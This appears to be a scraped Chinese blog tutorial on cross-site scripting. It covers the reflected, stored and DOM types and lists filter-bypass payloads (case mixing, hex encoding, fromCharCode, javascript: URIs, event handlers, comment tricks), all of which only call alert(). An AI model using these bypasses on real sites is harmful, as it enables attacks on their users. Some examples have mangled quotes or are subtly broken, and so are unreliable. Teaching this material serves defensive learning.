当前位置: 首页 > news >正文

XSS基础

<aside> 💡 反射型 XSS

</aside>

黑客需要诱使用户点击链接。也叫作”非持久型XSS“(Non-persistent XSS)

适用场景:钓鱼,垃圾邮件

<aside> 💡 存储型 XSS

</aside>

把用户输入的数据”存储“在服务器端。 这种XSS具有很强的稳定性。

黑客写下一篇包含恶意JS代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的JS代码。

黑客把恶意的脚本保存在服务器端,所以中XSS攻击就叫做”存储型XSS”。

适用场景:留言板,公告区

<aside> 💡

DOM型 XSS

</aside>

也是一种反射型XSS,由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

<aside> 💡

各种绕过方式

</aside>

  • 大小写
**<script>alert(“xss”);</script>可以转换为:<ScRipt>ALeRt(“XSS”);</sCRipT>**
  • 关闭标签
**“><script>alert(“Hi”);</script>**
  • 使用hex编码
**<script>alert(“xss”);</script>可以转换为:%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e**

魔术引号

magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单引号)转换为\’,”(双引号)转换为\”,\转换为\\

  • magic_quotes_gpc绕过
**<script>alert(“xss”);</script>会转换为<script>alert(\\”xss\\”);</script>这样我们的xss就不生效了。**
    **针对开启了magic_quotes_gpc的网站,我们可以通过JS中的String.fromCharCode方法来绕过,我们可以把alert(“XSS”);转换为****String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41)那么我们的XSS语句就变成了**

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41, 59)</script>

String.fromCharCode()是JS中的字符串方法,用来把ASCII转换为字符串。

最后使用<script>转换后的放到这里</script>包含即可

  • 利用HTML<>标签属性值执行XSS

很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机

例如:

**<img src = "javascript:alert(‘xss‘);">**
  • 空格/回车/Tab
**<img src= "java  script:alert(‘xss‘);" width=100>**
**像<img src= "javascript: alert(/xss/); width=100> 同样能绕过**
  • 产生自己的事件

事件既能让JS脚本运行,自然也可以执行跨站,另外像onerror、onMouseover等都可利用的是事件处理函数

**<input type = "button"  value = "clickme" οnclick="alert(‘click me‘)" />**
  • 注释符绕过
**<img src ="java/*javascript:alert(‘xss‘)*/script:alert(1);">**


http://www.mrgr.cn/news/40837.html

相关文章:

  • Street View Synthesis with Gaussian Splatting and Diffusion Prior 学习笔记
  • 10月1日刷题记录
  • 网站集群批量管理-密钥认证与Ansible模块
  • 开发者在AIGC浪潮中的定位与策略
  • 15分钟学 Python 第32天 :测试与调试
  • 一级建造师备考攻略及一建各科老师推荐(各科四大金刚)
  • Spring注解竟然如此简单
  • java多线程-1-测试一个多线程程序
  • 利用PTH攻击获取域控权限
  • SpringBoot——基础配置
  • Qt_绘图
  • 业务封装与映射 -- AMP BMP GMP
  • C++ 语言特性06 - lambda表达式
  • AI产品经理PRD文档与传统产品经理PRD有什么不同呢?
  • 从概念到使用全面了解Llama 3 这个迄今为止最强大的开源模型
  • wsl(2) --- ubuntu24.04配置
  • NLP任务之文本分类(情感分析)
  • MySQL 大数据量导入与导出全攻略
  • MySQL 的复制延迟:理解与解决方案
  • 每天五分钟深度学习pytorch:基于pytorch搭建一元线性回归模型